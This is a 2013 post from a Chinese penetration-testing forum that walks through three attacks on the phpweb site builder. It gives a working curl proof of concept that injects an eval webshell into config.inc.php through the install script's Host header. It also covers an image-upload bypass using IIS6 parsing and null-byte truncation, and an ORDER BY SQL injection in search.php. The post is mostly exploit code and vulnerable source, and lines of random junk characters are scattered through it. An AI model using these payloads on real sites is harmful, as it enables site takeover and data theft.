中国网络渗透测试联盟
标题:
phpweb成品网站最新版(注入、上传、写shell)
[打印本页]
作者:
admin
时间:
2013-1-4 19:45
标题:
phpweb成品网站最新版(注入、上传、写shell)
注入:
* y9 @3 U. D/ E/ j% B' v+ y
% ]' z' N; u* l" _- I- _4 W* l, }
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
- Y$ s u7 }( X) o2 K+ y
6 P$ ?. W i p8 ~ E
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
8 K+ _1 L4 y8 t b/ r2 i
鸡肋2: 有一定安全常识的站长都会删掉 install 目录
/ Y% F$ d, b( I6 _6 l
* d! u; W' C) |% e; q# n: V% b. m
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
; x \' o5 u2 j& t7 K" S4 \6 ~
: f% }. V" P5 g( G7 a
分析:
+ k' @6 G$ _# s" m4 A! s. C
- }6 P, N% a" M" s* l
6 J! ^& ?% q3 g
$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤
& S1 \* L# d) @# i+ \
) l6 z9 o5 F! c) _7 q0 q
$filestr = fread(fopen($SysConfigFile, 'r'),30000);
( d/ F" c+ W5 g0 p8 Q. T
$filestr=str_replace(" ","",$filestr);
$ `1 f: o' H+ o
$filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
/ u8 ^1 O8 ?1 m- c7 l% o
$filestr=str_replace("DefaultDbName",$dbname,$filestr);
2 g+ L7 z! J( o6 I- r0 y
$filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
' T/ f$ S' Z! N5 v( Q% @6 N/ b: d
$filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
+ \; v& t. B( d d) W) _& P. P$ u8 x
$filestr=str_replace("DefaultsLan","zh_cn",$filestr);
# W3 M* l! g3 U( U8 g
$filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
2 G* b+ h: a& E4 @/ N9 ^
$filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
5 ~0 H( l* v) `$ w- A% S+ X: B, k
7 D* M- ?# y3 }5 O
fwrite(fopen($ConFile,"w"),$filestr,30000);
2 j+ n+ p% ~! p P
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
|( c7 ]$ K2 ]0 M+ A6 L
' E3 ~9 M& o! J- P4 q& q
poc:
9 t6 l* i, X/ d6 S) `7 x
1 x' R- w# X$ n
?
# K# M4 N' m4 f; Q
1
% A* C7 w9 c% R0 M0 Q
curl
http://fuck.0day5.com/base/install/index.php
--data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
$ N( P0 m% {, ^% t) K
shell地址: /config.inc.php
8 [9 F3 ] I2 p1 r& F7 _1 d, P
跟之前的 phpcms一样 需要远程数据库
+ i- t$ ]: `; c p- `: E- C6 |7 G
P1 s E5 C' V
——————————————————–
2 G8 S5 k% `6 M
上传漏洞(需要进后台):
( d" J8 A6 _1 ?- P- n- \
漏洞文件: /kedit/upload_cgi/upload.php
: _/ `1 i. x; a" G' I
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
& @( ]7 |6 I4 o; K2 ?2 I" o- l
4 a2 k1 u9 u$ Y5 M1 h3 Z1 r/ Z
" Z0 P( O4 u- l3 V% s& C
<?php
7 a# I. a0 \. T- S% N0 Q6 D
define("ROOTPATH", "../../");
7 F3 A' g; l( z4 h F
include(ROOTPATH."includes/admin.inc.php");
3 y8 k, J: o u7 s$ D
NeedAuth(0);
g( [1 s% m' C3 c2 T
! ?" X( P& d- I
$dt=date("Ymd",time());
/ B; d4 G/ y- O+ s+ O$ p
if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
2 w/ w" W6 J6 } A
@mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
* J$ ?# `& w- W5 K F8 Z' I
}
/ b7 i# G6 v. M3 f, q8 `, Z8 b
& ^& ^" ], R4 S, ?
//文件保存目录路径
0 [: b* V( ~* L; {" e# R
$save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
: J7 F9 G3 g: `+ a2 p
echo $save_path;
: z* A! }2 \/ S! h9 z
//文件保存目录URL
' ~# M8 }5 _* ?; N4 o: x- _, {6 k( `
$save_url = '../../'.$_POST['attachPath'].$dt.'/';
+ c1 k% k: `- n6 C" Y0 G; M9 V& K
; S6 R B, U( c$ ^- Y8 y/ m
//定义允许上传的文件扩展名
' L! c- K- L- ^: L$ N* ]
$ext_arr = array('gif','jpg','png','bmp'); //限制后缀
6 t) G+ \0 I5 c
9 V w4 y# R( R6 V8 i! g
//最大文件大小
& I& o: m4 B/ }! d; l! m
$max_size = 1000000;
. i5 D e, o1 p/ Y$ w# R
8 x: L1 P% Y9 y$ ?1 I
//更改目录权限
- c! e& E1 A" ] j7 _, e5 T# g" i1 R
@mkdir($save_path, 0777);
: S! j/ G" t6 f; ?1 Q* b' [% P
0 n7 G8 a+ S7 u6 g1 o3 q
//文件的全部路径
0 |5 W# q$ p3 G. u a$ G, y0 T$ v$ R
$file_path = $save_path.$_POST['fileName']; //保存文件名
" \% p |6 o7 P* c0 M) L" t
" t7 n0 L3 ?# v- J
//文件URL
- C" s6 z& S5 l8 u
$file_url = $save_url.$_POST['fileName'];
: l4 E# W r% T: l7 M8 H7 i" Q$ Z
//有上传文件时
. O [4 w# ~" k) }
if (empty($_FILES) === false) {
* |. y* i8 F7 i% n) z
5 e. h6 |% {* e" ~5 c2 }
//原文件名
; V1 X/ x# H! r5 I! W; C# ~
$file_name = $_FILES['fileData']['name'];
- s% z' k2 V. ]& l% }! g; H
//服务器上临时文件名
5 x# f. ~# k# {1 ]& h0 m9 q
$tmp_name = $_FILES['fileData']['tmp_name'];
6 ^+ X. C; }9 M" @; A$ e" e) E4 w, W
//文件大小
* M$ F% F+ H9 L+ F! {
$file_size = $_FILES['fileData']['size'];
; v9 s5 k3 W, c
//检查目录
2 a' V. h& Q, Y3 r8 E. b$ p
if (@is_dir($save_path) === false) {
, O. j4 ]+ T: r0 G& @4 Q
alert("上传目录不存在。");
; i$ r3 O4 L, H; C$ `, o
}
" t2 @' D4 O" N. d9 _. p) }$ @- T* o
//检查目录写权限
7 p. |0 K& z% r2 j) r8 X, t
if (@is_writable($save_path) === false) {
& \: V N, B8 r- P' m0 j
alert("上传目录没有写权限。");
& m6 _- L' E. M7 O
}
9 o4 {; M/ a' ]; G) L* }
//检查是否已上传
$ b" X7 U0 H+ L
if (@is_uploaded_file($tmp_name) === false) {
) L. Y n4 P$ S) Y. ~' U4 i
alert("临时文件可能不是上传文件。");
- d" _* k$ p v# {# K/ {' T
}
! H' e; S7 o2 s/ P* v! w
//检查文件大小
0 v. h& z' f! U, b* Q
if ($file_size > $max_size) {
; i# P1 V" n3 u: S' N! K. w
alert("上传文件大小超过限制。");
0 P* S% G3 T0 x
}
) r4 q- b: M1 N/ s
//获得文件扩展名
9 y C$ a8 i) u5 G
$temp_arr = explode(".", $_POST['fileName']);
; ?* ] L; j& M# ]5 s0 e9 s: e! m
$file_ext = array_pop($temp_arr);
9 s+ J& [2 T( Z' X# G
$file_ext = trim($file_ext);
E1 o* N. [5 R3 j8 g9 |
$file_ext = strtolower($file_ext);
2 T. _/ u% M5 g/ l0 b! z1 p! T
' n$ g! t9 f9 h8 `
//检查扩展名
/ ]* t S* A6 e( A0 }
if (in_array($file_ext, $ext_arr) === false) {
; j3 }; ^ A9 g# n/ f' l
alert("上传文件扩展名是不允许的扩展名。");
$ v$ a" F" }: z
}
3 Z5 w9 P& J3 m/ I
9 b- c' [9 A* e. _
//移动文件
% E2 u' Q/ B6 W! d0 I
//未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^
. o& f" s; s6 J `/ a0 L
if (move_uploaded_file($tmp_name, $file_path) === false) {
# x* [6 Q$ ]( a9 u+ P- J& D
alert("上传文件失败。");
/ @1 \9 M, f: ]( G( u; m
}
2 U9 Q: d: ? u% c
+ t8 |; e0 x, k- r+ I' G, Y' x
@chmod($file_path,0666);
S; z: r5 ~* ^: c! M4 J! @
7 I/ a# b) z! M: Y. s q! p7 h6 G
?>
; e1 ^3 P+ i1 {, ~" W* X
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用
http://www.0day5.com/?p=227
" u9 s* j1 u( H# v& E
' X( n3 E( k9 @6 e* e. P% I
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
( i/ X4 s3 d" E$ y
8 F8 _5 S1 c% B/ X* b5 S. K
——————————————————
( w1 i' I7 Y# F' n. h
注入漏洞:
: h) ~4 h2 _+ ^7 W
漏洞文件:search/module/search.php
' ~/ D1 E. a8 R7 \( x D
/search/index.php?key=1&myord=1 [sqlinjection]
7 i/ |, X% Z* d% }) {( N& h$ n
' q* |) |* x( O4 z$ E4 b- @7 m* t
& E ^% w- q2 h5 X E
<?php
+ \. O0 c$ I8 N4 S9 ?
// ... 省略 n 行...
& }. U$ h1 ~ o' R: y
//第18行:
# ~# {+ Y2 \+ f' c& Q$ a; _
$key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响
7 u% ~1 o+ h' U9 I" c/ ~
$page=htmlspecialchars($_GET["page"]);
; f9 d1 Q3 _& z2 l$ ^( ?
$myord=htmlspecialchars($_GET["myord"]);
5 s5 v' G. P% H# l3 v
# a8 ~2 F4 e1 f
// ... 省略 n 行...
8 i0 u9 G1 t& H1 R4 E/ |0 X! w
$key,$myord 两个参数带入查询
- S" L; i4 q1 S8 o
//第47行 $key:
5 Q0 ]( P2 U4 P N. q, `* Q9 e5 X
) V! e+ W9 |2 l8 Q- c# V2 _
$fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..
+ }1 f3 J5 ] K2 R# Y
0 ^% u3 { H* e; F* ~/ C4 e
//第197行 $myord
3 D5 S H9 H! [" E0 U
$fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入
) v5 ^: s, M: R
$ v( _' ?6 Y4 ?' J* }
?>
4 s0 y( p) W( R0 P/ y
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2